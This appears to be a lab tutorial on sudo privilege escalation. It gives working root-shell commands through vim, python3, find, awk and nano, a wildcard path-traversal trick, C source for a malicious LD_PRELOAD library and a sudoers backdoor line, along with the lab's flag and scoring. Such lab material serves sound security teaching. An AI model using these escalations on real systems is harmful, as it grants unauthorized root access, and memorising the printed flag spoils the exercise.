Analyzing Sudo Rules For Privesc Vectors

⚠️ Educational Use Only — Sudo exploitation techniques must only be practiced in isolated lab environments or during authorized penetration testing engagements with written permission. Unauthorized privilege escalation on any system is a criminal offense.

When to Use

• After gaining initial foothold on a Linux target during an authorized pentest, during privilege escalation enumeration
• In CTF challenges requiring root access via sudo misconfigurations
• When auditing Linux sudoers files for overly permissive rules
• As a companion to the SUID misconfigurations skill — both cover Linux privilege escalation vectors
• When learning about the principle of least privilege and how to correctly configure sudo policies

Prerequisites

• Knowledge: Basic Linux command line, understanding of root vs non-root users
• Lab: labs/privilege-escalation/sudo-lab — start with agentlab start sudo-lab
• Difficulty: Intermediate
• Time: 30–45 minutes

Workflow

Step 1: Start the Lab

agentlab start sudo-lab
agentlab exec sudo-lab bash
# Starting as: developer (low-privilege user)
id
# uid=1001(developer) gid=1001(developer)

Step 2: Enumerate Sudo Permissions

The first thing to always check after gaining a shell:

sudo -l
# Example output:
# User developer may run the following commands on target:
#     (ALL) NOPASSWD: /usr/bin/vim
#     (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py
#     (root) NOPASSWD: /usr/bin/find /var/log -name *.log

Step 3: GTFOBins Lookup for Allowed Commands

For every command listed in sudo -l, check GTFOBins for exploitation:

Pattern: sudo vim

sudo vim -c ':!/bin/bash'
# Opens bash as root

Pattern: sudo python3

sudo python3 -c 'import os; os.system("/bin/bash")'

Pattern: sudo find

sudo find /var/log -name "*.log" -exec /bin/bash \;

Pattern: sudo less

sudo less /etc/passwd
# Inside less: !bash

Pattern: sudo awk

sudo awk 'BEGIN {system("/bin/bash")}'

Pattern: sudo nano

sudo nano
# ^R ^X then: reset; bash 1>&0 2>&0

Step 4: Wildcard Abuse in Sudo Rules

If sudo allows: (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py

# Create a malicious .py file that the wildcard matches
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
# Try to use path traversal in the wildcard
sudo python3 /opt/scripts/../../../tmp/evil.py

Step 5: LD_PRELOAD Injection

If env_keep+=LD_PRELOAD is visible in sudo -l output:

# Create a malicious shared library
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF

gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so find /var/log -name "*.log"
# → root shell

Step 6: Editing sudoers Directly (if sudo vi/visudo is allowed)

# If sudo vim is available
sudo vim /etc/sudoers
# Add: developer ALL=(ALL) NOPASSWD:ALL
# :wq to save
sudo bash
# → root shell

Step 7: Capture the Flag

# After escalating to root
cat /root/flag.txt
# FLAG{sudo_misconfiguration_exploited}

agentlab verify sudo-lab "FLAG{sudo_misconfiguration_exploited}"

Key Concepts

Tools

Output / Verification

agentlab verify sudo-lab "FLAG{sudo_misconfiguration_exploited}"

Score: 150 points for root flag + 50 bonus for each unique exploitation technique demonstrated

Further Reading

• GTFOBins — sudo section
• MITRE ATT&CK: T1548.003 — Sudo and Sudo Caching
• PayloadsAllTheThings — Linux PrivEsc
• HackTricks: Sudo